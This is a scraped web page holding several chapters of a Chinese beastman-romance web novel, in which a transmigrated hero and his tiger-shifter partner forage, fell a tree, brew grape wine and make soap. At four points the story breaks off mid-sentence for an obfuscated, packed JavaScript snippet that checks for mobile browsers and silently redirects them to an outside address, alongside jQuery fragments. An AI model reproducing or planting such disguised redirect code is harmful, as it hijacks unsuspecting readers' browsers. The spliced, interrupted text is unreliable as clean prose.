l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040086|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可要好好教了。
“那尾巴呢。你人形没有尾巴,若是尾巴受伤了不就看不出来了吗。”风浅问。
玄被他问的哭笑不得,可惜他穿着风浅缝的内裤,不然就可以把尾巴拿出来给风浅看看了。
“回去给你看尾巴。”玄笑道。
玄猎的那头野猪他们可以分一半,但猪头猪尾祭司要留着祭祀兽神,猪内脏便被族长做主给了玄。
分了肉,玄扛着半只猪和猪内脏,风浅也扛着今天采集收获的兽皮袋,两人一起离开了正是热闹的山谷。
越过山岗,部落里的热闹便和他们没关系了。
风浅不是一个喜欢凑热闹的人,但突然冷清下来,心里也有些落差。想到玄一个人这么多年,从小小的幼崽开始,反反复复地走过这条路,经历这样的落差,怪不得对着外人总是一张冷脸。
风浅快步追上玄,故作轻松,寻找话题,“可惜猪血被祭司要走了,不然可以灌血肠了。”兔宝贝也喜欢血,但只喝新鲜温热着的血。
玄停了脚步,看着追上来的风浅,眉头微动,带了几分神秘,“还有。”
风浅眨巴眨巴眼睛,立马明白了。
那群豕兽,玄先在山上一处水眼遇到喝水的小猪,七只小野猪,玄毫不费力地拍死了三只扔到空间里,正要拍第四只的时候,大猪回来了,玄又开始对付大猪。
大猪见面就是嗷嗷一嗓子,半片森林都能听见,更不要说附近的狩猎队队员了。这猪是没法独吞了。
玄和大猪周旋了一会儿,果然有狩猎队的人赶来。大猪身上血淋淋的抓痕就是玄为了拖延时间故意挠的。狩猎队的人到齐了,玄才把大猪拍死。若是在场的人太少,这野猪很可能就莫名其妙的成了别人的猎物,他以前吃过这种亏,几张口都辩不明白。
风浅笑了笑,不禁想到芽抱怨自己家的兽人伴侣太实诚,他家玄就是看着高冷端庄,但有八百个心眼子,属芝麻汤圆的,还是冰皮。
回了山洞,风浅先把黏连在猪肠上的猪油撕下来,才让玄去河边处理猪内脏。
洗猪肠最好还是加上醋、白酒、面粉,但这几样东西暂时都还没有,好在玄的空间保鲜,风浅也不打算现在就吃猪肠,先放着,等他一点点儿把这些东西都折腾出来再说吧。
但猪油可以熬了!
穿越必备的熬猪油和猪油渣。
除了熬猪油,风浅还特地切了几块肥瘦正好的猪肉,还有猪腰子,油锅里一炸才香呢。
熬油味儿大,风浅在山洞外的空地上架锅,油香一起,玄在山下河谷都闻到了香味儿。
闻着味儿回来的不只有玄,还有过来给风浅送水煮咕咕蛋的芽和芽的伴侣猛。猛高高壮壮的,一看确实是个忠厚的实诚人。
“风浅,你做的什么这么香?”芽捧着半个还带壳的咕咕蛋惊奇地问。
风浅瞄了眼一旁的玄,邀请芽说,“豕兽的油渣,熬的挺多,一起吃吧。”
“太香了,我没法拒绝。”芽凑到了风浅的身边,递上咕咕蛋,“这是给你的咕咕蛋。”
咕咕蛋还是热的,半个菠萝大小,白壳,蛋黄颜色很浓。风浅用骨刀切了一块下来,味道基本和鸡蛋差不多,并不腥,很好吃。
“咕咕蛋好吃吧。”芽问。
“是不错。”风浅答。
“不过我觉得好像被油渣比下去了。以后,我最喜欢的就是油渣了。”芽吃着油渣夸张道。
“那就多吃点儿,肉还很多。”风浅看了眼在和猛说话的玄,见玄并不反感家里来客人,于是又回头割了两条猪肉,切成小块扔进油锅里。
14. 窝窝绒乌龙(捉虫)
送走芽和猛,风浅和玄抱着陶锅、石盆去山下小河刷锅、洗漱,折了河边的柳树枝清理牙齿。有时间的时候,他可以试着看能不能搞出牙刷牙粉。
回到山洞天色还未全黑,风浅把白天采集到的刺刺果挑出来,让玄收到空间里。这里的刺刺果完全没有打过农药,若是就这么放在山洞里怕是会生虫,放到玄的空间里就不存在这个问题了。
剩下的半袋子窝窝绒被风浅搬到洞穴门口,挑出里边的种子和草叶草棍这些杂质。
看着风浅翻出半袋子窝窝绒,玄的眉头动了动。窝窝绒唯一的用处就是孵蛋打窝,风浅第一天采集就摘这么多窝窝绒回来,是急着生蛋?风浅急着要蛋,那作为风浅唯一的兽人伴侣,他是得努力了。玄笑着勾了勾嘴角,坐到风浅旁边,帮风浅挑窝窝绒。
两个人动作快,终于赶在天黑之前挑完窝窝绒,玄一挥手,收起装着窝窝绒的兽皮袋,催促风浅回山洞睡觉。
山洞里比外边更黑,几乎伸手不见五指,风浅没走两步,差点被地上摆着的石凳绊倒,被玄从后面接住。
“小心。”山洞里漆黑一片,玄干脆打横抱起风浅,把人抱到兽皮窝上才又回洞口挡上藤条编的门。
漆黑的夜色剥夺了人的视觉,也让其他感官更加敏感。风浅被覆上来的兽人吻的迷糊,恍然间想到玄夜里可以视物,那玄岂不是把他的神态看的干干净净,而他却完全看不清玄?有些别扭,而且好不公平,他要尽快做出蜡烛。
吻滑到脖颈,强烈的感官刺激让他彻底没有精力考虑多余的东西,理智渐渐被挤出大脑,他好像还忘了什么事……
直到风浅昏昏沉沉的睡过去,才迷迷糊糊地想起白天下的决心,亚兽人可以怀孕生蛋,他要和玄离婚来着。
翌日。
部落里今天没有集体狩猎和采集。
日出而作日入而息,没有996,没有007,不加班不内卷,还上一休一,不仅可以睡到自然醒,他甚至还有闲暇窝在爱人的怀里盯着从门缝透进山洞里的光柱发呆。简直神仙日子,如果可以不用生蛋抱窝的话。
风浅想起昨晚忘了什么事了。
也怪他自己,丝毫经不住玄的撩拨,一个吻就让他失了理智,风浅一脸郁闷。
风浅呼吸的节奏有变,搂着风浅的玄很快觉察到怀里的亚兽人醒了,抱紧怀里温热的身体,玄说,“今天不用集体采集,不再多睡一会儿?”
刚醒的兽人声音慵懒磁性,风浅被撩的背脊酥麻。风浅恨自己铁不成钢,才认识玄几天,“离婚”两个字就说不出口了。一定是因为玄是自己第一个男人的原因,他有处子情节。
可处子情节哪是这么用的,这不是自己PUA自己吗。
风浅一口咬住玄轻抚在他脸上的手指,牙齿在玄修长有力的手指上狠狠磨了两下,这人舍得把他往死里折腾,他却舍不得真把这人咬出血。更气了。
“解气了?”玄挑了挑眉,眼含笑意。
“哼。”风浅鼻子里轻哼一声,把玄的手甩到一边。
玄笑着用带着牙印的手指捏住风浅的下巴,高挺的鼻梁凑上去,蹭了蹭风浅的脸颊,压低声音,“今天是要在山洞里休息,还是出去走走,采集狩猎。”
男人突然逼近,温热暧昧的气息若有若无的呼进耳朵,风浅顿时一个激灵,抢答,“采集!”
玄眼底此时那点儿晦暗情深的流光他最清楚不过了,真要选了在山洞里休息,下一秒他就得被按在兽皮窝里生蛋。
虽然他也想要和玄腻歪在一起,但眼下明显秋储更重要一些。
他不是怕生蛋,他是为了秋储!秋储可是正经事!
末世让他养成了喜欢囤物资的习惯,现在又有玄的空间在身边,他自然想把玄的空间都填满。
这样想着,风浅有了底气。却对上玄一双琥珀样的桃花眼,就那么似笑非笑地盯着他看。
四目相对,风浅顿时臊得脸红心跳,率先败下阵来,目光闪躲,强行转移话题,“你知道哪有窝窝绒吗?我还想采些窝窝绒。”
玄挑挑眉,明知顾问,逗弄道,“窝窝绒?要采窝窝绒干什么?”
没注意到玄眼里的狡黠,说起窝窝绒,风浅眼睛一亮,脸不红了,心也不跳了,抱住玄的肩膀,翻身压到玄的身上,“做衣服啊。”
“窝窝绒的用处可大了,不仅可以做衣服还可以做棉被,又暄又软,可比兽皮草席舒服多了,等我做出来你就知道了。我们需要很多很多的窝窝绒。”风浅一本正经地解释。
这答案出乎意料,玄愣了下,半响才反应过来,“你是要用窝窝绒做衣服?”
“不然咧。”风浅反问,继续道,“有了窝窝绒就不用从蚕桑部落买布了,甚至我们可以自己织布拿到集市上卖。”
风浅趴在玄的身上,掰着手指开始细数弹棉花、纺线,到织布的步骤。
“可你们兔部落也没有卖过布啊。”玄疑惑。
风浅眨了眨眼,借口他早都想好了,“因为兔部落没有窝窝绒啊。而且,我之前也没看到过蚕丝布,是看到你给我的蚕丝布,又见了窝窝绒,才想着或许可以用窝窝绒捻成线织布的。”
玄将信将疑,但还是选择相信风浅。不管最后能不能织出布,风浅想尝试的事,他便陪着。风浅只有他一个兽人伴侣,他不陪风浅,让谁陪?
玄笑了笑,两指捏住趴在自己身上的亚兽人的下巴,“你知道窝窝绒原本是干什么用的吗?”
风浅愣了下,玄知道窝窝绒根的用处?不是想要他喝吧。可昨天芽一个亚兽人都明显不知道啊,难道玄一个兽人知道窝窝绒根好生崽儿?
见风浅一脸脑子打结了的神情,玄提醒道,“你们兔部落孵蛋的时候怎么打窝的?”
风浅想了想,原主记忆里,兔族孵蛋打窝都是用兽人兽形退下来的毛。毛不够的时候,兽人就直接化成兽形,从身上揪毛,想想都疼。
“唉?!”风浅忽然反应过来,昨天芽一开始就是揪窝窝绒的,并没有挖窝窝绒的根或者叶。
玄这么问,窝窝绒是打窝孵蛋的?!
他昨天第一天采集就摘那么多窝窝绒回来,玄眼里……
怪不得昨晚……
这才发现玄眼里逗弄的意味儿。
“才不给你生
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040087|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蛋。”风浅登时红了脸,恼羞成怒,挣扎着要从玄身上爬下来,却被玄抓住手腕,上下颠倒,按在了兽皮窝里。
玄虚压在风浅身上,一双漂亮的桃花眼深深盯着窝里的人,“不给我生,那要给谁生?”
…
红日升至三竿。
山洞门口的空地上,玄用陶锅把昨天吃剩的油渣重新煎了煎。
风浅是被肉香勾醒的。
“过来吃饭,一会儿带你去摘窝窝绒。”玄招呼道。
看着玄满面春风的样子,风浅一脸黑线,在玄手里这么多天还能活蹦乱跳的,他真是天赋异禀啊。
吃过早饭,玄化成兽形,驮着风浅去了山林。
秋储的时候,自由采集只能去采集队已经采集过的地方。
昨天第一天开始秋储,部落一共九个采集队,今天只能去这九个采集队走过的地方。玄知道一大片窝窝绒,刚好在这个范围里。
他们来的不算早。自由行动的时候采集到的收获不需要上交部落,大家的干劲儿明显比集体采集的时候高涨,很多人天不亮就上山了。
今天能随便采集的区域并不大,山上人比野果多。很多人都在挖一种类似山药的植物根茎,这种根茎深深埋在地下,采集比较费时,集体采集的时候一般不把它归在采集任务里。
和类山药的根茎相比,明显窝窝绒更吸引风浅。
大白老虎跑起来风驰电掣,说不出的酷炫拉风,风浅趴在玄的背上,不到十分钟便到了目的地。
一山坡的窝窝绒,至少也有二三十亩,雪白雪白的,零星还有几株变异了,呈现出淡淡的粉色和金黄色。
黎山部落幼崽出生率低,唯一用处是孵蛋打窝的窝窝绒需求也不是很大,这大片大片的窝窝绒几乎没怎么被人采摘。他们来的时候只有一对兽人和亚兽人伴侣在山坡上,已经摘了半袋子了。
那对兽人和亚兽人伴侣看到突然出现的玄和风浅,明显愣了下,脸上原本轻松愉悦的表情肉眼可见的消失。
亚兽人的肚子犹如怀孕五、六个月的妇人,即使穿着兽皮衣服,也能清楚地看到高高隆起的小腹。
这是风浅第一次看到怀孕的亚兽人,还是个男性亚兽人。也不知道这是孕中期还是快要生了,怀个蛋,肚子竟然也要这么大。
视觉上的冲击让风浅犹如冻僵在西风中的落叶,凌乱,凌乱。
蛋生应该比胎生容易些吧。
风浅艰难地咽了口口水,硬着头皮安慰自己,虽然屁股可能还是要遭点儿罪,但也就那样。
越害怕越好奇。
越无知越畏惧。
在担心害怕之前,倒不如先静下心来将事件剖析明白,研究透彻,之后再做打算。
反正都是一个部落,冷静下来的风浅就要过去跟人打个招呼,关心关心,顺便了解了解,肚子到这个程度,到底是孕中期还是快要生了,生的蛋到底有多大,生的时候有多疼?
步子还没迈出去,就见对面的亚兽人拽着兽人伴侣的胳膊快速离开了,如避蛇蝎。
这么好的学习机会没了,风浅一头雾水地回头看玄。
15. 葡萄
玄对面前的情景习以为常。
从出壳开始,部落里的人对他就是又怕又恨的,二十来年了,哪有不习惯的。
小的时候还会伤心,闷闷不乐,等到被赶出部落,自己能独立生存,不需要依附别人的时候,别人对你的态度眼光也就不重要了。
玄手掌扣在风浅后颈上,揉了揉,淡淡地解释道,“不是因为你的原因。他们只是怕我。祭司告诫过部落里的亚兽人,怀孕或者孵蛋的时候不要靠近我,不然容易孵出死蛋,或者生出像我一样的怪物。”
死蛋就是孵化过程中出现问题导致幼崽停止发育,死亡,不能成功孵化的蛋。
玄说这话的时候风轻云淡,脸上丝毫不见伤心的神情,好像描述的是什么不相干的人和事。可玄越平静,风浅心里越难受,心口一揪一揪的。
他的老虎他自己疼。
风浅抱住玄,脸埋在玄的胸口,轻声安慰道,“没见过白虎是他们眼界小,孤陋寡闻。我就知道一片大陆,那片大陆上白虎比一般的虎更受欢迎。在人们心中,白虎是神明的化身,辟邪禳灾,是西方星宿之主。”
他家玄出生的时候正好赶上超新星爆发,这是多么幸运的事,用蓝星上老人的话说那是天生异象,紫微星降世好不好。
玄看着怀里亚兽人圆圆的头顶,目光暗了暗,沉默片刻,他没想到曾经痴痴傻傻的风浅懂的这么多,还知道其他大陆的事。
“嗯,那应该是某片高级大陆。小的时候听父亲说过,兽人大陆之外还有更高级的大陆,我的母亲就来自那样一片大陆。”
风浅嗖的瞪大了眼睛,这是个什么情况?!玄说的是蓝星吗?不对。若玄说的高级大陆是蓝星,那作为高级大陆的蓝星不可能不知道兽人大陆,反倒是让低级的兽人大陆单方面的知道蓝星。
“高级大陆?!在哪里?有什么办法能过去吗?”风浅问。
玄遗憾地摇摇头,他知道的有限。他很小的时候母亲就离开了,而母亲也很少对父亲说来到兽人大陆以前的事。
“我母亲能从那片大陆过来,说明两片大陆之间是有通道的,只是母亲并未和父亲透漏过太多通道的事。我这些年也陆续打探过其他大陆的事,但很少有人知道。偶尔有知道一二的,了解的还没有我自己知道的多。”
玄顿了下,看着风浅继续说,“你若是想去,我们以后可以继续多留心这件事。”
突然接收太多、太令人震惊的消息,风浅的大脑有些不够用。
兽人大陆有灵植,玄有空间异能,现在又冒出个高级大陆……
很明显,他穿到的这个异世界很有可能不只只是原始大陆那么简单。有没有一种可能,这里之所以原始、落后,是因为兽人大陆只是异世界的一块未开发的蛮荒之地。
玄拍拍明显陷入思考,大脑正在疯狂跑程序的风浅,“高级大陆的事不是说解决就能解决的,眼下还是秋储更重要一些。你不是要采窝窝绒吗。”
“这倒是。”风浅点头。心急吃不了热豆腐,玄打听了这么多年都没有结果,可见时机未到。若真是他所想的那样,那万事更讲究一个机缘。机缘未到,跑断腿都没用。一步一个脚印,提高自己的实力,过好眼前的日子才是正理儿。
玄和风浅一人拿了一个兽皮袋开始揪窝窝绒。
风浅先奔着淡粉、金黄那几株变异的窝窝绒去,连根挖了出来,准备移植到山洞门口的空地上。若是再多几种颜色,那以后织出的布都不用染色了。
兽人大陆一昼夜的时间要比蓝星长,这里的人一天至少要吃三次饭,春夏白昼长的时候一天会吃四顿。
晌午,两人在窝窝绒山坡上简单吃了肉干做午饭就准备去其它地方看看。
玄驮着风浅去了森林腹地,半天的时间有些紧,他只带着风浅去腹地边缘。那边不在部落狩猎和采集范围之内,也不需要遵守部落采集的规矩,即使秋储时期也可以自由采集。
“玄,玄,停下,等等!”趴在玄背上的风浅突然兴奋地叫道,“有葡萄,我闻到葡萄味儿了,这附近有葡萄。”
玄鼻翼翕合,嗅了嗅,是黑串果的气味。
“你们兔部落把黑串果叫作葡萄?”玄问。
风浅点头默认,还好玄对兔部落不是很了解,不然好些东西真没法一样一样的编理由解释。
玄皱眉,“黑串果不好吃,酸牙,吃过黑串果后,牙齿会连最软的白肉都咬不动。”
白肉就是肥肉,这是吃多了,把牙酸倒了吧。如果他的异能还在,他种出的葡萄肯定又大又甜。风浅解释,“我不是要吃它,我是要用它酿酒。”
“酿酒?”玄疑惑,他没听过这个东西。
“对,酿酒。酒的用处可大了。”
他们在附近一处灌木丛后面找到了葡萄藤。
和野葡萄相比,兽人大陆的黑串果更像蓝星上家葡萄和圆叶葡萄的杂交。葡萄粒有鹌鹑蛋大小,紫黑紫黑,覆着一层白霜。
黑串果放进兽皮袋里容易挤碎,附近也没有人,两人摘了果子就直接扔进玄的空间里。
周围一共找到三棚黑串果,摘了有将近两百斤。风浅又看上黑串果旁边一棵刚好一个人可以环抱的参天大树。
玄的空间里就有骨刀。据风浅的观察,这骨刀比铁制的刀斧更坚硬锋锐,砍树伐木就像切豆腐。
砍树前风浅先挑了山林里树木稀疏的一侧,在树根部上下各一刀,砍下一片楔形的木片,才让玄在背面动手。
不到一分钟,巨树应声而倒。刚好倒向树木稀少的一面,嘭一声落了地,林鸟惊飞,地面都跟着颤了几颤。
山林里砍树的时候,常常会遇上砍倒的树卡在其它树木上。这种情况就需要几个人合力把砍倒的树从其它树上拖下来,或者继续把碍事的树也砍了。
更有甚者,砍倒的树倒地方向不确定,有时会砸到人。
玄眼底掩饰不掉的笑意,毫不吝啬地夸赞,“你这法子还真管用。想让它往哪边儿倒就往哪边儿倒。”
“那当然。别人我可都不教的。”风浅自豪道。他这指哪儿打哪儿的法子是末世的时候跟一位伐木的老人学的,一百个管用。
“刚刚从那边飞起来的是不是咕咕兽。”风浅朝着山丘下一处草丛努努下巴,问玄。
大树倒下的同时,确实从草丛飞起一只羽毛艳丽的雄性咕咕兽。
“应该是正在抱窝孵蛋,树倒了才把它吓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040088|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走。”玄猜测。
咕咕兽是雄性和雌性一起孵蛋带崽儿。咕咕兽胆小,他们在这周围摘了这么久的黑串果,这只咕咕兽都躲着没逃走,可见是被什么重要的事绊住了,大概率就是抱窝孵蛋。
两人过去瞧了瞧,草丛里果然有个堆满禽类绒毛的窝。那只雄性咕咕兽跑得慌忙,敞着窝,蛋都没有盖。风浅数了数,六颗大白蛋,每个都有菠萝大小。
“它还会回来吗?”风浅问。
“它不回来,到了时间,外出觅食的雌性咕咕兽也会回来。”玄说,“但马上到雪季了,这些咕咕兽即使孵出来也熬不过冬季。”
玄拿了个咕咕蛋在手里摸了摸,“蛋孵化一段时间后,外壳表面就会变得光滑。这些蛋壳表面还很粗糙,应该是才开始孵,和正常的蛋没什么区别,捡回去吃吧。”
低温,粮食短缺,冬季确实不是繁衍的好季节。风浅暂时打消了养殖的念头。养殖前,需要先解决家畜口粮的问题。他得先找一种合适的作物,这种作物最好是人和家畜都能吃,而且产量大,好管理。
捡了咕咕蛋回头继续处理砍倒的大树。
树干部分先扒皮,然后从比较粗的根部开始,用骨刀截了两段十公分厚的木墩做菜板,再截四段三十公分厚的做木盆,截四段五十公分的做水桶,其余的截成三米长的,留着以后做床、做桌椅柜子。砍下的侧枝用树皮打成捆,做饭取暖用。
收拾完砍下的大树,天色也不早了,两人下山。
回了山洞,各有分工,风浅做饭,玄做水桶。
做水桶需要把木墩内部的芯掏空,只留一圈厚度适中的桶壁。
玄坐在木墩前,右手指尖化成兽形时的爪尖,轻轻一划便切开坚硬的木芯,再用骨刀将木头芯挖出来,动作流畅,看着轻松极了。
“爪尖还能这么用?不疼吗?”风浅看着都替玄手指疼,可别为了做水桶把指甲掰掉了。
玄轻笑,伸手给风浅看,“我的爪尖可比骨刀锋利多了。这么用也省的磨爪子了。”
风浅瞬间就想到家里养的猫总是要抓点儿什么东西练爪子。没想到兽人也有这个困扰。老虎果然是猫科的,大猫。
风浅盯着低头干活的玄的爪尖儿看。
有些强大的兽人可以做到半兽形,就是在人形的时候可以随心展现出一部分兽形的特征,比如露个兽耳、尾巴,或者上半身兽形下半身人形。但很少有人能向玄这样,精确控制到只露一个爪子尖儿。
想到什么,风浅眼神突然一亮,忍不住凑到玄的腿边,讨好道,“你是不是可以在人形的时候露出兽耳和尾巴?”
玄停下手上的活儿,愣了愣,转瞬瞧出风浅的小心思,笑问,“是这样吗?”说话间头顶上便立起两只毛茸茸的白虎耳。
圆圆的虎耳一弹一抖,风浅的心也跟着一颤一揪。
太可爱了!又帅又可爱。
除去玄眼里有点儿坏的笑。实在太可爱了。
风浅扑了个空,昙花一现的兽耳嗖的被收回去,风浅连根毛都没摸到。
玄笑道,“晚上给你摸尾巴。”
被玄戏弄了一回,风浅愤愤地瞪着玄。说是摸尾巴,不知道憋着什么坏呢。
16. 商队(捉虫) 肉干
采集队一般会比狩猎队先回部落。
今天部落里几个同风浅一起从换盐集市上回来的亚兽人也加入了采集队,采集回来之后部落里老老少少的注意力都在几个新结契的亚兽人身上,大家一心八卦,没什么重要的事,风浅没在山谷里多留,交割了一半的收获便直接回了山洞。
因为玄说家里肉干储备不多了,明天休息的时候要在家里做肉干,风浅今天采集的时候便特意留意了,想看看能不能找到类似葱姜这样的调味料。
葱姜没找到,倒摘了不少野生的花椒。
花椒树分布广,不管是兔部落还是黎山部落都挺多的。他上次采集的时候就看到了,只是没空出时间摘。
部落里的人嫌花椒味儿呛,没有人吃,上交物资的时候祭司那边也不收,他只得用第一趟采集到的刺刺果“交租”。
他和玄只上交物资,冬日里分食物却没有他们的份儿,风浅私下里把这调侃成“交租”。上交一半收成,换取森林的使用权,生活、捕猎、采集。
风浅先回山洞,找出藏在家里的肉做晚饭。他和玄不在部落里住,担心有人趁山洞里没人的时候偷拿他们的物资,每每外出,家里的东西基本都收在玄的空间里。玄以前一个人的时候吃过这种亏。
风浅烧水,做饭。
晚饭做好了,又把今天扛回来的两棵雄性麦籽树劈成薄片,他想编两个晒东西、装东西用的笸箩。
复杂的他不会,但从“十”字开始,一挑一压,简单的还是可以试试。
玄回来的时候风浅正在收口。直径差不多一米的圆形笸箩,用骨刀切掉多余的部分,再用撕成条的树皮“缝”一圈收口。
玄今天拿回来的是一条鹿兽腿。此鹿兽虽然也叫“鹿”,但并非蓝星上的“鹿”。这里的鹿兽腿有牛腿大。
“玄,羽族商队是怎么回事?今天采集的时候听部落里的人说过几天羽族商队就要来了。”风浅边给笸箩收口边问。
“羽族应该也会去你们兔族,兔族的麦籽可是羽族最喜欢的食物。”玄说。
风浅皱皱眉,装傻,“可能也去吧,但我之前脑子不清楚,哪知道什么商队什么羽族啊。”
玄看不得自己亚兽人伤心的样子,忙解释,“羽族擅长飞翔,冬季飞到南海的岛屿过冬,夏季飞到北海的岛屿上度夏。起初只是在迁徙的途中和路过的部落做做交易,后来就发展成有规模的商队。收集各个部落特有的物资,再卖给其他部落。羽族居住在海上,不缺盐,和羽族做交易就不能用盐砖,而是要用兽皮、骨刀、麦籽、陶器这些东西。”
“羽族不缺盐,那大家怎么不从羽族换盐?”风浅问。
“羽族的说法是盐太沉了,远距离飞行不合算。和盐相比,羽族更喜欢麦籽或者野果。”玄顿了顿,又说,“羽族有很多稀奇古怪的东西,你或许会喜欢。”
羽族亦是兽人大陆上消息最灵通的部落,他曾用二十张兽皮和羽族换了一份兽人大陆的地图。
“那太好了。”风浅跃跃欲试。不能总让玄养着自己,他得琢磨点儿能和羽族交换的东西,赚点儿外快。酒是来不及了,那还能做点儿什么呢。
两人吃了晚饭,趁着天色未黑。玄驮着风浅去了部落西边的大泽。
空间里的肉,像之前猎的几只豕兽,是狩猎时私自扣下来的,这些肉不方便被人看到,为了躲人耳目,所以选了离部落较远的大泽。
大泽是片面积上百亩的湖泊。湖面上很多枯黄的荷叶,这里的荷叶直径竟然有一米多长,不知道藕得长成什么样子。
玄选了湖泊上游一处水面平稳的河流,拿出空间里三头豕兽。
豕兽维持着刚被扔进空间里的样子,风浅上手摸了摸,豕兽的身体还是温的。玄这个空间可比冰箱有用多了。
玄在豕兽的脖子上划了一刀,风浅用新做的木桶木盆去接猪血,接完猪血,玄给豕兽开膛破肚,风浅又去薅猪毛。
“你拔它的毛?有用?”玄问。正常情况下,他用骨刀在豕兽身上刮一遍,毛就剃干净了,根本不用像风浅这样一根一根的拔。
“也是纺线织布?”玄猜测。
“不是,我要用这个做牙刷,清理牙齿的。比柳枝条好用多了。”风浅解释。
玄点点头,不再问了。风浅想法多,他已经见怪不怪了。许是和风浅吃过的那棵让他变得不傻的草有关。
带有光芒的草或者蘑菇能让他突然有了空间,视觉听觉都变得不一般的灵敏,那可以治好风浅脑子的草,让风浅变得比寻常人聪明,也没什么奇怪的。
风浅去河边洗猪毛,正感叹至今没来及做肥皂,猪毛也洗不干净,突然在河底看见了个比手掌还大的贝。
家里有猪油、草木灰,再加点儿贝壳珍珠粉什么的,完美!他可以做肥皂和羽族的人交换物资啊!
风浅脱了草鞋跳水里。
深秋水冷,冷得他倒吸一口凉气。刚来部落的时候还能直接在河里洗澡,才几天,河水就变得冰人了。还好家里做了水桶,不然洗澡都成问题。
他明年的目标就是从山洞里搬出来,住上房,用上浴室和卫生间!
“怎么进水里了,天快黑了,水凉。”玄问。
风浅笑着举起一个比他脸还大的贝壳,“有好东西哦。”
玄被他逗笑了,以为风浅要吃,他也没少了风浅的肉啊,无奈道,“河里的贝壳肉少还不好吃。部落以前有人吃过,会拉肚子。羽族商队来的时候,可以和他们换一些干贝肉,羽族的干贝肉味道不错。”
风浅敲了敲贝壳,“我不吃它,我只要它的壳,要用它的壳做些东西。”
风浅捡了一堆贝壳回去。
第二日又是休息日,两人今天的任务是做肉干。切成条,腌渍,晾晒,晒过之后用锅蒸熟。
一早起来,玄切肉条,风浅用锅熬盐。
盐咸部落带回来的盐砖是粗盐,不仅发苦,还夹着沙子硌牙。这段时间一直忙着采集没空出时间煮盐,但一下做这么多肉干,风浅可不打算继续用粗盐凑合。简直是浪费粮食。
粗盐化开,风浅忍痛割了块蚕丝布过滤。过滤出来的盐水重新倒入锅中蒸煮,蒸出水分,析出盐。
煮好盐,又煮了花椒水,才让玄用这两样东西腌肉。他自己拿了个陶罐扔进锅里蒸煮消毒。他今天想把葡萄酒也酿了。最好是把肥皂也做了。
腌好的肉用藤条编的绳子穿好挂在树上晾晒,洗好的葡萄铺在笸箩里晾干水分。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040089|162487||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
锅底的火一直没断,煮了陶锅,又继续煮盐。
现在是玄在锅边煮盐,一边煮盐,面前的石板上还放了一个咕咕蛋大小的石块,玄右手指尖化成兽形的爪尖儿,正按着风浅的要求做研磨用的石臼。风浅则拿了两个地甜果,在旁边另起了火堆,一边烤红薯,一边编晒盐用的笸箩。
忙忙碌碌,到了下午,风浅把晾干水分的葡萄装进陶罐里,捣碎,用蚕丝布封口,放置阴凉通风处,之后每天早晚两次,用消过毒的木棍搅拌一次,至葡萄发酵完成,不再冒气泡。
忙完这些,风浅终于抽出时间做肥皂。
用石臼将粗盐磨成盐粉,研磨的活儿交给煮盐的玄。
风浅烧贝壳代替生石灰,烧完,研磨贝壳粉的活儿又交给玄。
风浅将陶锅里煮好析出的盐倒进垫了树叶的笸箩上晾晒,陶锅重新加上火,改煮草木灰水。
煮好的草木灰水过滤,加入贝壳粉,再过滤,沉淀一夜。
第二日是集体采集狩猎的日子,为了做肥皂,两人比平时早起了会儿。
先将之前熬好的猪油加热融化,倒入草木灰和贝壳粉的上清液,加入盐粉,搅拌均匀。最后将混合好的皂液倒入雄性麦籽树做的木筒里,静置,等待凝固。
一天一夜后,第三日早晨,虽然是休息日,但天一放亮,风浅就迫不及待地从兽皮窝里爬起来。皂化反应凡是上过几天学的人都学过,但理论是理论,他还是第一次实际操作,自然急着验收成果。
劈开木筒,雪白的肥皂显露出来,圆滚滚的,只有木筒底部有些凹凸不平。
风浅用骨刀把肥皂切成厚度均匀的皂块,陶锅的容量有限,他这次一共做了二十块肥皂。
将做好的肥皂送到阴凉通风的地方晾干,风浅拿了一块底部不平的,火急火燎地拉着玄去了河边洗头洗澡洗衣服。
穿过来这么久了,除了在沙漠里赶路的那几天,虽然每天都有洗澡,但没有一次让他感觉真正洗干净过。特别是头发,好像戴了一顶帽子。
他本来是想把头发剪短的。
玄的骨刀削铁如泥,剪头发肯定没问题。但两人刚刚洞房之后,玄就送了他发带,风浅便没好意思把头发剪了。每天忙着采集外出,怕被树枝草棍刮坏,他也没舍得把发带系上。
今天从河边洗干净回来,风浅心思有些活络,拿了块玄做木桶木盆时挖出来的木头芯子推给玄,跟玄说了木梳的样子和功能,让玄用爪子帮他抠一个。玄兽形的爪尖儿简直可以破万物,太好用了。
